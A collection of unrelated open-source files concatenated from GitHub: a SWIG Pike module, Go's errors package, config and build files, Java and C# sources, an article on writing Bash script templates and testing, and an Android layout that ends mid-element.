/* Special hook for member pointer */
String *wname = Swig_name_wrapper(symname);
Printf(f_header, "static %s = %s;\n", SwigType_str(type, wname), value);
value = wname;
} else if (SwigType_type(type) == T_CHAR && is_enum_item) {
type = NewSwigType(T_INT);
Setattr(n, "type", type);
}
/* Perform constant typemap substitution */
String *tm = Swig_typemap_lookup("constant", n, value, 0);
if (tm) {
Replaceall(tm, "$source", value);
Replaceall(tm, "$target", symname);
Replaceall(tm, "$symname", symname);
Replaceall(tm, "$value", value);
Printf(f_init, "%s\n", tm);
} else {
Swig_warning(WARN_TYPEMAP_CONST_UNDEF, input_file, line_number, "Unsupported constant value %s = %s\n", SwigType_str(type, 0), value);
}
Swig_restore(n);
return SWIG_OK;
}
/* ------------------------------------------------------------
* nativeWrapper()
* ------------------------------------------------------------ */
virtual int nativeWrapper(Node *n) {
// return Language::nativeWrapper(n);
String *name = Getattr(n, "sym:name");
String *wrapname = Getattr(n, "wrap:name");
if (!addSymbol(wrapname, n))
return SWIG_ERROR;
add_method(name, wrapname, 0);
return SWIG_OK;
}
/* ------------------------------------------------------------
* enumDeclaration()
* ------------------------------------------------------------ */
virtual int enumDeclaration(Node *n) {
return Language::enumDeclaration(n);
}
/* ------------------------------------------------------------
* enumvalueDeclaration()
* ------------------------------------------------------------ */
virtual int enumvalueDeclaration(Node *n) {
return Language::enumvalueDeclaration(n);
}
/* ------------------------------------------------------------
* classDeclaration()
* ------------------------------------------------------------ */
virtual int classDeclaration(Node *n) {
return Language::classDeclaration(n);
}
/* ------------------------------------------------------------
* classHandler()
* ------------------------------------------------------------ */
virtual int classHandler(Node *n) {
String *symname = Getattr(n, "sym:name");
if (!addSymbol(symname, n))
return SWIG_ERROR;
PrefixPlusUnderscore = NewStringf("%s_", getClassPrefix());
Printf(f_classInit, "start_new_program();\n");
/* Handle inheritance */
List *baselist = Getattr(n, "bases");
if (baselist && Len(baselist) > 0) {
Iterator base = First(baselist);
while (base.item) {
String *basename = Getattr(base.item, "name");
SwigType *basetype = NewString(basename);
SwigType_add_pointer(basetype);
SwigType_remember(basetype);
String *basemangle = SwigType_manglestr(basetype);
Printf(f_classInit, "low_inherit((struct program *) SWIGTYPE%s->clientdata, 0, 0, 0, 0, 0);\n", basemangle);
Delete(basemangle);
Delete(basetype);
base = Next(base);
}
} else {
Printf(f_classInit, "ADD_STORAGE(swig_object_wrapper);\n");
}
Language::classHandler(n);
/* Accessors for member variables */
/*
List *membervariables = Getattr(n,"membervariables");
if (membervariables && Len(membervariables) > 0) {
membervariableAccessors(membervariables);
}
*/
/* Done, close the class and dump its definition to the init function */
Printf(f_classInit, "add_program_constant(\"%s\", pr = end_program(), 0);\n", symname);
Dump(f_classInit, f_init);
Clear(f_classInit);
SwigType *tt = NewString(symname);
SwigType_add_pointer(tt);
SwigType_remember(tt);
String *tm = SwigType_manglestr(tt);
Printf(f_init, "SWIG_TypeClientData(SWIGTYPE%s, (void *) pr);\n", tm);
Delete(tm);
Delete(tt);
Delete(PrefixPlusUnderscore);
PrefixPlusUnderscore = 0;
return SWIG_OK;
}
/* ------------------------------------------------------------
* memberfunctionHandler()
*
* Method for adding C++ member function
* ------------------------------------------------------------ */
virtual int memberfunctionHandler(Node *n) {
current = MEMBER_FUNC;
Language::memberfunctionHandler(n);
current = NO_CPP;
return SWIG_OK;
}
/* ------------------------------------------------------------
* constructorHandler()
*
* Method for adding C++ member constructor
* ------------------------------------------------------------ */
virtual int constructorHandler(Node *n) {
current = CONSTRUCTOR;
Language::constructorHandler(n);
current = NO_CPP;
return SWIG_OK;
}
/* ------------------------------------------------------------
* destructorHandler()
* ------------------------------------------------------------ */
virtual int destructorHandler(Node *n) {
current = DESTRUCTOR;
Language::destructorHandler(n);
current = NO_CPP;
return SWIG_OK;
}
/* ------------------------------------------------------------
* membervariableAccessors()
* ------------------------------------------------------------ */
void membervariableAccessors(List *membervariables) {
String *name;
Iterator i;
bool need_setter;
String *funcname;
/* If at least one of them is mutable, we need a setter */
need_setter = false;
i = First(membervariables);
while (i.item) {
if (!GetFlag(i.item, "feature:immutable")) {
need_setter = true;
break;
}
i = Next(i);
}
/* Create a function to set the values of the (mutable) variables */
if (need_setter) {
Wrapper *wrapper = NewWrapper();
String *setter = Swig_name_member(NSPACE_TODO, getClassPrefix(), "`->=");
String *wname = Swig_name_wrapper(setter);
Printv(wrapper->def, "static void ", wname, "(INT32 args) {", NIL);
Printf(wrapper->locals, "char *name = (char *) STR0(Pike_sp[0-args].u.string);\n");
i = First(membervariables);
while (i.item) {
if (!GetFlag(i.item, "feature:immutable")) {
name = Getattr(i.item, "name");
funcname = Swig_name_wrapper(Swig_name_set(NSPACE_TODO, Swig_name_member(NSPACE_TODO, getClassPrefix(), name)));
Printf(wrapper->code, "if (!strcmp(name, \"%s\")) {\n", name);
Printf(wrapper->code, "%s(args);\n", funcname);
Printf(wrapper->code, "return;\n");
Printf(wrapper->code, "}\n");
Delete(funcname);
}
i = Next(i);
}
/* Close the function */
Printf(wrapper->code, "pop_n_elems(args);\n");
Printf(wrapper->code, "}\n");
/* Dump wrapper code to the output file */
Wrapper_print(wrapper, f_wrappers);
/* Register it with Pike */
String *description = NewString("tStr tFloat, tVoid");
add_method("`->=", wname, description);
Delete(description);
/* Clean up */
Delete(wname);
Delete(setter);
DelWrapper(wrapper);
}
/* Create a function to get the values of the (mutable) variables */
Wrapper *wrapper = NewWrapper();
String *getter = Swig_name_member(NSPACE_TODO, getClassPrefix(), "`->");
String *wname = Swig_name_wrapper(getter);
Printv(wrapper->def, "static void ", wname, "(INT32 args) {", NIL);
Printf(wrapper->locals, "char *name = (char *) STR0(Pike_sp[0-args].u.string);\n");
i = First(membervariables);
while (i.item) {
name = Getattr(i.item, "name");
funcname = Swig_name_wrapper(Swig_name_get(NSPACE_TODO, Swig_name_member(NSPACE_TODO, getClassPrefix(), name)));
Printf(wrapper->code, "if (!strcmp(name, \"%s\")) {\n", name);
Printf(wrapper->code, "%s(args);\n", funcname);
Printf(wrapper->code, "return;\n");
Printf(wrapper->code, "}\n");
Delete(funcname);
i = Next(i);
}
/* Close the function */
Printf(wrapper->code, "pop_n_elems(args);\n");
Printf(wrapper->code, "}\n");
/* Dump wrapper code to the output file */
Wrapper_print(wrapper, f_wrappers);
/* Register it with Pike */
String *description = NewString("tStr, tMix");
add_method("`->", wname, description);
Delete(description);
/* Clean up */
Delete(wname);
Delete(getter);
DelWrapper(wrapper);
}
/* ------------------------------------------------------------
* membervariableHandler()
* ------------------------------------------------------------ */
virtual int membervariableHandler(Node *n) {
List *membervariables = Getattr(getCurrentClass(), "membervariables");
if (!membervariables) {
membervariables = NewList();
Setattr(getCurrentClass(), "membervariables", membervariables);
}
Append(membervariables, n);
current = MEMBER_VAR;
Language::membervariableHandler(n);
current = NO_CPP;
return SWIG_OK;
}
/* -----------------------------------------------------------------------
* staticmemberfunctionHandler()
*
* Wrap a static C++ function
* ---------------------------------------------------------------------- */
virtual int staticmemberfunctionHandler(Node *n) {
current = STATIC_FUNC;
Language::staticmemberfunctionHandler(n);
current = NO_CPP;
return SWIG_OK;
}
/* ------------------------------------------------------------
* memberconstantHandler()
*
* Create a C++ constant
* ------------------------------------------------------------ */
virtual int memberconstantHandler(Node *n) {
current = CLASS_CONST;
constantWrapper(n);
current = NO_CPP;
return SWIG_OK;
}
/* ---------------------------------------------------------------------
* staticmembervariableHandler()
* --------------------------------------------------------------------- */
virtual int staticmembervariableHandler(Node *n) {
current = STATIC_VAR;
Language::staticmembervariableHandler(n);
current = NO_CPP;
return SWIG_OK;
}
};
/* -----------------------------------------------------------------------------
* swig_pike() - Instantiate module
* ----------------------------------------------------------------------------- */
static Language *new_swig_pike() {
return new PIKE();
}
extern "C" Language *swig_pike(void) {
return new_swig_pike();
}
|
{
"pile_set_name": "Github"
}
|
// Package errors provides simple error handling primitives.
//
// The traditional error handling idiom in Go is roughly akin to
//
// if err != nil {
// return err
// }
//
// which applied recursively up the call stack results in error reports
// without context or debugging information. The errors package allows
// programmers to add context to the failure path in their code in a way
// that does not destroy the original value of the error.
//
// Adding context to an error
//
// The errors.Wrap function returns a new error that adds context to the
// original error by recording a stack trace at the point Wrap is called,
// and the supplied message. For example
//
// _, err := ioutil.ReadAll(r)
// if err != nil {
// return errors.Wrap(err, "read failed")
// }
//
// If additional control is required the errors.WithStack and errors.WithMessage
// functions destructure errors.Wrap into its component operations of annotating
// an error with a stack trace and an a message, respectively.
//
// Retrieving the cause of an error
//
// Using errors.Wrap constructs a stack of errors, adding context to the
// preceding error. Depending on the nature of the error it may be necessary
// to reverse the operation of errors.Wrap to retrieve the original error
// for inspection. Any error value which implements this interface
//
// type causer interface {
// Cause() error
// }
//
// can be inspected by errors.Cause. errors.Cause will recursively retrieve
// the topmost error which does not implement causer, which is assumed to be
// the original cause. For example:
//
// switch err := errors.Cause(err).(type) {
// case *MyError:
// // handle specifically
// default:
// // unknown error
// }
//
// causer interface is not exported by this package, but is considered a part
// of stable public API.
//
// Formatted printing of errors
//
// All error values returned from this package implement fmt.Formatter and can
// be formatted by the fmt package. The following verbs are supported
//
// %s print the error. If the error has a Cause it will be
// printed recursively
// %v see %s
// %+v extended format. Each Frame of the error's StackTrace will
// be printed in detail.
//
// Retrieving the stack trace of an error or wrapper
//
// New, Errorf, Wrap, and Wrapf record a stack trace at the point they are
// invoked. This information can be retrieved with the following interface.
//
// type stackTracer interface {
// StackTrace() errors.StackTrace
// }
//
// Where errors.StackTrace is defined as
//
// type StackTrace []Frame
//
// The Frame type represents a call site in the stack trace. Frame supports
// the fmt.Formatter interface that can be used for printing information about
// the stack trace of this error. For example:
//
// if err, ok := err.(stackTracer); ok {
// for _, f := range err.StackTrace() {
// fmt.Printf("%+s:%d", f)
// }
// }
//
// stackTracer interface is not exported by this package, but is considered a part
// of stable public API.
//
// See the documentation for Frame.Format for more details.
package errors
import (
"fmt"
"io"
)
// New returns an error with the supplied message.
// New also records the stack trace at the point it was called.
func New(message string) error {
return &fundamental{
msg: message,
stack: callers(),
}
}
// Errorf formats according to a format specifier and returns the string
// as a value that satisfies error.
// Errorf also records the stack trace at the point it was called.
func Errorf(format string, args ...interface{}) error {
return &fundamental{
msg: fmt.Sprintf(format, args...),
stack: callers(),
}
}
// fundamental is an error that has a message and a stack, but no caller.
type fundamental struct {
msg string
*stack
}
func (f *fundamental) Error() string { return f.msg }
func (f *fundamental) Format(s fmt.State, verb rune) {
switch verb {
case 'v':
if s.Flag('+') {
io.WriteString(s, f.msg)
f.stack.Format(s, verb)
return
}
fallthrough
case 's':
io.WriteString(s, f.msg)
case 'q':
fmt.Fprintf(s, "%q", f.msg)
}
}
// WithStack annotates err with a stack trace at the point WithStack was called.
// If err is nil, WithStack returns nil.
func WithStack(err error) error {
if err == nil {
return nil
}
return &withStack{
err,
callers(),
}
}
type withStack struct {
error
*stack
}
func (w *withStack) Cause() error { return w.error }
func (w *withStack) Format(s fmt.State, verb rune) {
switch verb {
case 'v':
if s.Flag('+') {
fmt.Fprintf(s, "%+v", w.Cause())
w.stack.Format(s, verb)
return
}
fallthrough
case 's':
io.WriteString(s, w.Error())
case 'q':
fmt.Fprintf(s, "%q", w.Error())
}
}
// Wrap returns an error annotating err with a stack trace
// at the point Wrap is called, and the supplied message.
// If err is nil, Wrap returns nil.
func Wrap(err error, message string) error {
if err == nil {
return nil
}
err = &withMessage{
cause: err,
msg: message,
}
return &withStack{
err,
callers(),
}
}
// Wrapf returns an error annotating err with a stack trace
// at the point Wrapf is call, and the format specifier.
// If err is nil, Wrapf returns nil.
func Wrapf(err error, format string, args ...interface{}) error {
if err == nil {
return nil
}
err = &withMessage{
cause: err,
msg: fmt.Sprintf(format, args...),
}
return &withStack{
err,
callers(),
}
}
// WithMessage annotates err with a new message.
// If err is nil, WithMessage returns nil.
func WithMessage(err error, message string) error {
if err == nil {
return nil
}
return &withMessage{
cause: err,
msg: message,
}
}
type withMessage struct {
cause error
msg string
}
func (w *withMessage) Error() string { return w.msg + ": " + w.cause.Error() }
func (w *withMessage) Cause() error { return w.cause }
func (w *withMessage) Format(s fmt.State, verb rune) {
switch verb {
case 'v':
if s.Flag('+') {
fmt.Fprintf(s, "%+v\n", w.Cause())
io.WriteString(s, w.msg)
return
}
fallthrough
case 's', 'q':
io.WriteString(s, w.Error())
}
}
// Cause returns the underlying cause of the error, if possible.
// An error value has a cause if it implements the following
// interface:
//
// type causer interface {
// Cause() error
// }
//
// If the error does not implement Cause, the original error will
// be returned. If the error is nil, nil will be returned without further
// investigation.
func Cause(err error) error {
type causer interface {
Cause() error
}
for err != nil {
cause, ok := err.(causer)
if !ok {
break
}
err = cause.Cause()
}
return err
}
|
{
"pile_set_name": "Github"
}
|
{
"CN": "khs1994.com",
"hosts": "HOSTS",
"key": {
"algo": "ecdsa",
"size": 256
},
"names": [{
"C": "US",
"L": "CA",
"ST": "San Francisco"
}]
}
|
{
"pile_set_name": "Github"
}
|
file(REMOVE_RECURSE
"CMakeFiles/example-collection-watch.dir/examples/example-collection-watch.c.o"
"example-collection-watch.pdb"
"example-collection-watch"
)
# Per-language clean rules from dependency scanning.
foreach(lang C)
include(CMakeFiles/example-collection-watch.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
|
{
"pile_set_name": "Github"
}
|
using System.Reflection;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("GVFS.Hooks")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("GVFS.Hooks")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("bda91ee5-c684-4fc5-a90a-b7d677421917")]
|
{
"pile_set_name": "Github"
}
|
// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO.
// You may push code into the target .java compilation unit if you wish to edit any member(s).
package org.springframework.roo.clinictests.web;
import io.springlets.data.domain.GlobalSearch;
import io.springlets.data.web.datatables.Datatables;
import io.springlets.data.web.datatables.DatatablesData;
import io.springlets.data.web.datatables.DatatablesPageable;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.MessageSource;
import org.springframework.context.i18n.LocaleContextHolder;
import org.springframework.data.domain.Page;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.roo.clinictests.domain.Pet;
import org.springframework.roo.clinictests.domain.PetNameAndWeightFormBean;
import org.springframework.roo.clinictests.service.api.PetService;
import org.springframework.roo.clinictests.web.PetsSearchThymeleafController;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
privileged aspect PetsSearchThymeleafController_Roo_Thymeleaf {
declare @type: PetsSearchThymeleafController: @Controller;
declare @type: PetsSearchThymeleafController: @RequestMapping(value = "/pets/search", name = "PetsSearchThymeleafController", produces = MediaType.TEXT_HTML_VALUE);
/**
* TODO Auto-generated attribute documentation
*/
private MessageSource PetsSearchThymeleafController.messageSource;
/**
* TODO Auto-generated constructor documentation
*
* @param petService
* @param messageSource
*/
@Autowired
public PetsSearchThymeleafController.new(PetService petService, MessageSource messageSource) {
setPetService(petService);
setMessageSource(messageSource);
}
/**
* TODO Auto-generated method documentation
*
* @return MessageSource
*/
public MessageSource PetsSearchThymeleafController.getMessageSource() {
return messageSource;
}
/**
* TODO Auto-generated method documentation
*
* @param messageSource
*/
public void PetsSearchThymeleafController.setMessageSource(MessageSource messageSource) {
this.messageSource = messageSource;
}
/**
* TODO Auto-generated method documentation
*
* @param formBean
* @param model
* @return ModelAndView
*/
@GetMapping(name = "byNameAndWeightForm", value = "/byNameAndWeight/search-form")
public ModelAndView PetsSearchThymeleafController.byNameAndWeightForm(@ModelAttribute("formBean") PetNameAndWeightFormBean formBean, Model model) {
model.addAttribute("application_locale", LocaleContextHolder.getLocale().getLanguage());
return new ModelAndView("pets/findByNameAndWeightForm");
}
/**
* TODO Auto-generated method documentation
*
* @param formBean
* @param model
* @return ModelAndView
*/
@GetMapping(name = "byNameAndWeight", value = "/byNameAndWeight")
public ModelAndView PetsSearchThymeleafController.byNameAndWeight(@ModelAttribute("formBean") PetNameAndWeightFormBean formBean, Model model) {
model.addAttribute("application_locale", LocaleContextHolder.getLocale().getLanguage());
return new ModelAndView("pets/findByNameAndWeight");
}
/**
* TODO Auto-generated method documentation
*
* @param formBean
* @param search
* @param pageable
* @param draw
* @return ResponseEntity
*/
@GetMapping(name = "byNameAndWeightDt", value = "/byNameAndWeight/dt", produces = Datatables.MEDIA_TYPE)
@ResponseBody
public ResponseEntity<DatatablesData<Pet>> PetsSearchThymeleafController.byNameAndWeightDt(@ModelAttribute("formBean") PetNameAndWeightFormBean formBean, GlobalSearch search, DatatablesPageable pageable, @RequestParam(Datatables.PARAMETER_DRAW) Integer draw) {
Page<Pet> pets = getPetService().findByNameAndWeight(formBean,search,pageable);
long totalPetsCount = pets.getTotalElements();
if (search != null && StringUtils.isNotBlank(search.getText())) {
totalPetsCount = getPetService().countByNameAndWeight(formBean);
}
DatatablesData<Pet> datatablesData = new DatatablesData<Pet>(pets, totalPetsCount, draw);
return ResponseEntity.ok(datatablesData);
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.cluster.protocol.message;
import javax.xml.bind.annotation.XmlRootElement;
import org.apache.nifi.cluster.protocol.Heartbeat;
/**
*/
@XmlRootElement(name = "heartbeatMessage")
public class HeartbeatMessage extends ProtocolMessage {
private Heartbeat heartbeat;
public Heartbeat getHeartbeat() {
return heartbeat;
}
public void setHeartbeat(Heartbeat heartbeat) {
this.heartbeat = heartbeat;
}
@Override
public MessageType getType() {
return MessageType.HEARTBEAT;
}
}
|
{
"pile_set_name": "Github"
}
|
[#]: collector: (lujun9972)
[#]: translator: ( )
[#]: reviewer: ( )
[#]: publisher: ( )
[#]: url: ( )
[#]: subject: (Creating a Bash script template)
[#]: via: (https://opensource.com/article/19/12/bash-script-template)
[#]: author: (David Both https://opensource.com/users/dboth)
Creating a Bash script template
======
In the second article in this series, create a fairly simple template
that you can use as a starting point for other Bash programs, then test
it.
![A person programming][1]
In the [first article][2] in this series, you created a very small, one-line Bash script and explored the reasons for creating shell scripts and why they are the most efficient option for the system administrator, rather than compiled programs.
In this second article, you will begin creating a Bash script template that can be used as a starting point for other Bash scripts. The template will ultimately contain a Help facility, a licensing statement, a number of simple functions, and some logic to deal with those options and others that might be needed for the scripts that will be based on this template.
### Why create a template?
Like automation in general, the idea behind creating a template is to be the "[lazy sysadmin][3]." A template contains the basic components that you want in all of your scripts. It saves time compared to adding those components to every new script and makes it easy to start a new script.
Although it can be tempting to just throw a few command-line Bash statements together into a file and make it executable, that can be counterproductive in the long run. A well-written and well-commented Bash program with a Help facility and the capability to accept command-line options provides a good starting point for sysadmins who maintain the program, which includes the programs that _you_ write and maintain.
### The requirements
You should always create a set of requirements for every project you do. This includes scripts, even if it is a simple list with only two or three items on it. I have been involved in many projects that either failed completely or failed to meet the customer's needs, usually due to the lack of a requirements statement or a poorly written one.
The requirements for this Bash template are pretty simple:
1. Create a template that can be used as the starting point for future Bash programming projects.
2. The template should follow standard Bash programming practices.
3. It must include:
* A heading section that can be used to describe the function of the program and a changelog
* A licensing statement
* A section for functions
* A Help function
* A function to test whether the program user is root
* A method for evaluating command-line options
### The basic structure
A basic Bash script has three sections. Bash has no way to delineate sections, but the boundaries between the sections are implicit.
* All scripts must begin with the shebang (**#!**), and this must be the first line in any Bash program.
* The functions section must begin after the shebang and before the body of the program. As part of my need to document everything, I place a comment before each function with a short description of what it is intended to do. I also include comments inside the functions to elaborate further. Short, simple programs may not need functions.
* The main part of the program comes after the function section. This can be a single Bash statement or thousands of lines of code. One of my programs has a little over 200 lines of code, not counting comments. That same program has more than 600 comment lines.
That is all there is—just three sections in the structure of any Bash program.
### Leading comments
I always add more than this for various reasons. First, I add a couple of sections of comments immediately after the shebang. These comment sections are optional, but I find them very helpful.
The first comment section is the program name and description and a change history. I learned this format while working at IBM, and it provides a method of documenting the long-term development of the program and any fixes applied to it. This is an important start in documenting your program.
The second comment section is a copyright and license statement. I use GPLv2, and this seems to be a standard statement for programs licensed under GPLv2. If you use a different open source license, that is fine, but I suggest adding an explicit statement to the code to eliminate any possible confusion about licensing. Scott Peterson's article [_The source code is the license_][4] helps explain the reasoning behind this.
So now the script looks like this:
```
#!/bin/bash
################################################################################
# scriptTemplate #
# #
# Use this template as the beginning of a new program. Place a short #
# description of the script here. #
# #
# Change History #
# 11/11/2019 David Both Original code. This is a template for creating #
# new Bash shell scripts. #
# Add new history entries as needed. #
# #
# #
################################################################################
################################################################################
################################################################################
# #
# Copyright (C) 2007, 2019 David Both #
# [LinuxGeek46@both.org][5] #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
# This program is distributed in the hope that it will be useful, #
# but WITHOUT ANY WARRANTY; without even the implied warranty of #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
# GNU General Public License for more details. #
# #
# You should have received a copy of the GNU General Public License #
# along with this program; if not, write to the Free Software #
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA #
# #
################################################################################
################################################################################
################################################################################
echo "hello world!"
```
Run the revised program to verify that it still works as expected.
### About testing
Now is a good time to talk about testing.
> "_There is always one more bug."_
> — Lubarsky's Law of Cybernetic Entomology
Lubarsky—whoever that might be—is correct. You can never find all the bugs in your code. For every bug I find, there always seems to be another that crops up, usually at a very inopportune time.
Testing is not just about programs. It is also about verification that problems—whether caused by hardware, software, or the seemingly endless ways users can find to break things—that are supposed to be resolved actually are. Just as important, testing is also about ensuring that the code is easy to use and the interface makes sense to the user.
Following a well-defined process when writing and testing shell scripts can contribute to consistent and high-quality results. My process is simple:
1. Create a simple test plan.
2. Start testing right at the beginning of development.
3. Perform a final test when the code is complete.
4. Move to production and test more.
#### The test plan
There are lots of different formats for test plans. I have worked with the full range—from having it all in my head; to a few notes jotted down on a sheet of paper; and all the way to a complex set of forms that require a full description of each test, which functional code it would test, what the test would accomplish, and what the inputs and results should be.
Speaking as a sysadmin who has been (but is not now) a tester, I try to take the middle ground. Having at least a short written test plan will ensure consistency from one test run to the next. How much detail you need depends upon how formal your development and test functions are.
The sample test plan documents I found using Google were complex and intended for large organizations with very formal development and test processes. Although those test plans would be good for people with "test" in their job title, they do not apply well to sysadmins' more chaotic and time-dependent working conditions. As in most other aspects of the job, sysadmins need to be creative. So here is a short list of things to consider including in your test plan. Modify it to suit your needs:
* The name and a short description of the software being tested
* A description of the software features to be tested
* The starting conditions for each test
* The functions to follow for each test
* A description of the desired outcome for each test
* Specific tests designed to test for negative outcomes
* Tests for how the program handles unexpected inputs
* A clear description of what constitutes pass or fail for each test
* Fuzzy testing, which is described below
This list should give you some ideas for creating your test plans. Most sysadmins should keep it simple and fairly informal.
#### Test early—test often
I always start testing my shell scripts as soon as I complete the first portion that is executable. This is true whether I am writing a short command-line program or a script that is an executable file.
I usually start creating new programs with the shell script template. I write the code for the Help function and test it. This is usually a trivial part of the process, but it helps me get started and ensures that things in the template are working properly at the outset. At this point, it is easy to fix problems with the template portions of the script or to modify it to meet needs that the standard template does not.
Once the template and Help function are working, I move on to creating the body of the program by adding comments to document the programming steps required to meet the program specifications. Now I start adding code to meet the requirements stated in each comment. This code will probably require adding variables that are initialized in that section of the template—which is now becoming a shell script.
This is where testing is more than just entering data and verifying the results. It takes a bit of extra work. Sometimes I add a command that simply prints the intermediate result of the code I just wrote and verify that. For more complex scripts, I add a **-t** option for "test mode." In this case, the internal test code executes only when the **-t** option is entered on the command line.
#### Final testing
After the code is complete, I go back to do a complete test of all the features and functions using known inputs to produce specific outputs. I also test some random inputs to see if the program can handle unexpected input.
Final testing is intended to verify that the program is functioning essentially as intended. A large part of the final test is to ensure that functions that worked earlier in the development cycle have not been broken by code that was added or changed later in the cycle.
If you have been testing the script as you add new code to it, you may think there should not be any surprises during the final test. Wrong! There are always surprises during final testing. Always. Expect those surprises, and be ready to spend time fixing them. If there were never any bugs discovered during final testing, there would be no point in doing a final test, would there?
#### Testing in production
Huh—what?
> "Not until a program has been in production for at least six months will the most harmful error be discovered."
> — Troutman's Programming Postulates
Yes, testing in production is now considered normal and desirable. Having been a tester myself, this seems reasonable. "But wait! That's dangerous," you say. My experience is that it is no more dangerous than extensive and rigorous testing in a dedicated test environment. In some cases, there is no choice because there is no test environment—only production.
Sysadmins are no strangers to the need to test new or revised scripts in production. Anytime a script is moved into production, that becomes the ultimate test. The production environment constitutes the most critical part of that test. Nothing that testers can dream up in a test environment can fully replicate the true production environment.
The allegedly new practice of testing in production is just the recognition of what sysadmins have known all along. The best test is production—so long as it is not the only test.
#### Fuzzy testing
This is another of those buzzwords that initially caused me to roll my eyes. Its essential meaning is simple: have someone bang on the keys until something happens, and see how well the program handles it. But there really is more to it than that.
Fuzzy testing is a bit like the time my son broke the code for a game in less than a minute with random input. That pretty much ended my attempts to write games for him.
Most test plans utilize very specific input that generates a specific result or output. Regardless of whether the test defines a positive or negative outcome as a success, it is still controlled, and the inputs and results are specified and expected, such as a specific error message for a specific failure mode.
Fuzzy testing is about dealing with randomness in all aspects of the test, such as starting conditions, very random and unexpected input, random combinations of options selected, low memory, high levels of CPU contending with other programs, multiple instances of the program under test, and any other random conditions that you can think of to apply to the tests.
I try to do some fuzzy testing from the beginning. If the Bash script cannot deal with significant randomness in its very early stages, then it is unlikely to get better as you add more code. This is a good time to catch these problems and fix them while the code is relatively simple. A bit of fuzzy testing at each stage is also useful in locating problems before they get masked by even more code.
After the code is completed, I like to do some more extensive fuzzy testing. Always do some fuzzy testing. I have certainly been surprised by some of the results. It is easy to test for the expected things, but users do not usually do the expected things with a script.
### Previews of coming attractions
This article accomplished a little in the way of creating a template, but it mostly talked about testing. This is because testing is a critical part of creating any kind of program. In the next article in this series, you will add a basic Help function along with some code to detect and act on options, such as **-h**, to your Bash script template.
### Resources
* [How to program with Bash: Syntax and tools][6]
* [How to program with Bash: Logical operators and shell expansions][7]
* [How to program with Bash: Loops][8]
* * *
_This series of articles is partially based on Volume 2, Chapter 10 of David Both's three-part Linux self-study course, [Using and Administering Linux—Zero to SysAdmin][9]._
--------------------------------------------------------------------------------
via: https://opensource.com/article/19/12/bash-script-template
作者:[David Both][a]
选题:[lujun9972][b]
译者:[译者ID](https://github.com/译者ID)
校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]: https://opensource.com/users/dboth
[b]: https://github.com/lujun9972
[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_keyboard_laptop_development_code_woman.png?itok=vbYz6jjb (A person programming)
[2]: https://opensource.com/article/19/12/introduction-automation-bash-scripts
[3]: https://opensource.com/article/18/7/how-be-lazy-sysadmin
[4]: https://opensource.com/article/17/12/source-code-license
[5]: mailto:LinuxGeek46@both.org
[6]: https://opensource.com/article/19/10/programming-bash-syntax-tools
[7]: https://opensource.com/article/19/10/programming-bash-logical-operators-shell-expansions
[8]: https://opensource.com/article/19/10/programming-bash-loops
[9]: http://www.both.org/?page_id=1183
|
{
"pile_set_name": "Github"
}
|
<timeinfo>
<indefinite>0</indefinite>
<duration>109.472999573</duration>
<introDuration>0.000000000</introDuration>
<outroDuration>0.000000000</outroDuration>
</timeinfo>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:mySwitch="http://schemas.android.com/apk/res-auto"
android:layout_width="fill_parent"
android:layout_height="10dp"
android:background="@null"
android:orientation="horizontal" >
<ImageView
android:id="@+id/umeng_socialize_icon"
android:layout_width="30dp"
android:layout_height="30dp"
android:layout_centerVertical="true"
android:layout_marginLeft="15dp"
android:scaleType="fitXY"
android:src="@drawable/umeng_socialize_default_avatar" />
<TextView
android:id="@+id/umeng_socialize_msg"
android:layout_width="fill_parent"
android:layout_height="45dp"
android:layout_centerVertical="true"
android:layout_marginLeft="15dp"
android:layout_marginRight="80dp"
android:layout_toRightOf="@id/umeng_socialize_icon"
android:gravity="center_vertical"
android:text="MSG"
android:textColor="#333333"
android:textSize="16sp" />
<com.umeng.socialize.view.wigets.SwitchImageView
android:id="@+id/umeng_socialize_toggle"
android:layout_width="wrap_content"
android:layout_height="25dp"
android:layout_marginRight="15dp"
android:layout_alignParentRight="true"
